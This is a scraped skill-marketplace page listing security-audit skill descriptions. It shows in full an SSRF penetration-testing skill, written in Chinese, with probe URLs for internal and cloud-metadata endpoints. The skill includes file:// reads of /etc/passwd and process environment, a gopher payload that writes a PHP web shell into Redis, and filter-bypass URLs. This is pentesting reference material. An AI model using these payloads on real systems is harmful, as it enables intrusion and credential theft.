メニュー
Use when performing penetration testing targeting server-side request forgery vulnerabilities. Keywords: SSRF, server-side request forgery, URL parameter manipulation, internal service access, cloud metadata, blind SSRF, DNS rebinding
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Use when building or updating vulnerability pattern Skills from multiple sources: GitHub Security Advisories (GHSA), HackerOne Hacktivity, or NVD. Triggers on keywords: GHSA, CVE, vulnerability skill, vuln pattern, update skills, security advisory, HackerOne, H1, hacktivity, pentest skill, bug bounty, check for updates.
Use when building or updating vulnerability pattern Skills from multiple sources: GitHub Security Advisories (GHSA), HackerOne Hacktivity, or NVD. Triggers on keywords: GHSA, CVE, vulnerability skill, vuln pattern, update skills, security advisory, HackerOne, H1, hacktivity, pentest skill, bug bounty, check for updates.
Use when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth
Use when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC
Use when auditing Go code involving goroutine management, channel operations, HTTP request handling, resource allocation, or panic recovery. Covers CWE-400/770/476. Keywords: denial of service, goroutine leak, channel deadlock, panic recover, io.ReadAll, resource exhaustion, OOM, HTTP/2 abuse, protobuf, unbounded allocation, rate limiting
Use when auditing Go code involving logging, error handling, HTTP response data, Kubernetes Secret management, or credential storage. Covers CWE-200/532/522/312/552. Keywords: information disclosure, credential leak, log exposure, Kubernetes Secret, json tag, struct formatting, error message, stack trace, Rancher, Argo CD, sensitive data
| name | pentest-ssrf |
| description | Use when performing penetration testing targeting server-side request forgery vulnerabilities. Keywords: SSRF, server-side request forgery, URL parameter manipulation, internal service access, cloud metadata, blind SSRF, DNS rebinding |
当对 Web 应用进行 SSRF 渗透测试时加载此 Skill。覆盖经典 SSRF、Blind SSRF、云环境元数据访问等。
高风险功能：
识别信号：
url、link、src、dest、redirect、uri、path、endpoint基础探测：
# 测试内部网络访问
http://127.0.0.1
http://localhost
http://[::1]
# 云元数据端点（将 X 替换为实际 IP）
# AWS IMDSv1: http://169.254.169.254/latest/meta-data/
# AWS IMDSv2: 需先获取 token: PUT http://169.254.169.254/latest/api/token (Header: X-aws-ec2-metadata-token-ttl-seconds: 21600)
# GCP: http://metadata.google.internal/computeMetadata/v1/ (Header: Metadata-Flavor: Google)
# Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header: Metadata: true)
# 注意：云元数据 IP 为链路本地地址 169.254.169.254
# 内网扫描（RFC1918 地址段）
# 10.0.0.0/8 — 如 http://10.0.0.1, http://10.10.10.10
# 172.16.0.0/12 — 如 http://172.16.0.1, http://172.31.255.255
# 192.168.0.0/16 — 如 http://192.168.1.1, http://192.168.0.100
协议利用：
# File 协议读取本地文件
file:///etc/passwd
file:///proc/self/environ
# Gopher 协议构造任意 TCP 请求
gopher://127.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%3F>%22
# Dict 协议探测服务
dict://127.0.0.1:6379/INFO
Blind SSRF 检测：
http://unique-id.burpcollaborator.net绕过技巧：
0x7f000001（十六进制）、2130706433（十进制）、0177.0.0.1（八进制）http://attacker.com@127.0.0.1、http://127.0.0.1#@allowed.comhttp://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31漏洞利用可达到的效果：
严重度判断：
以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。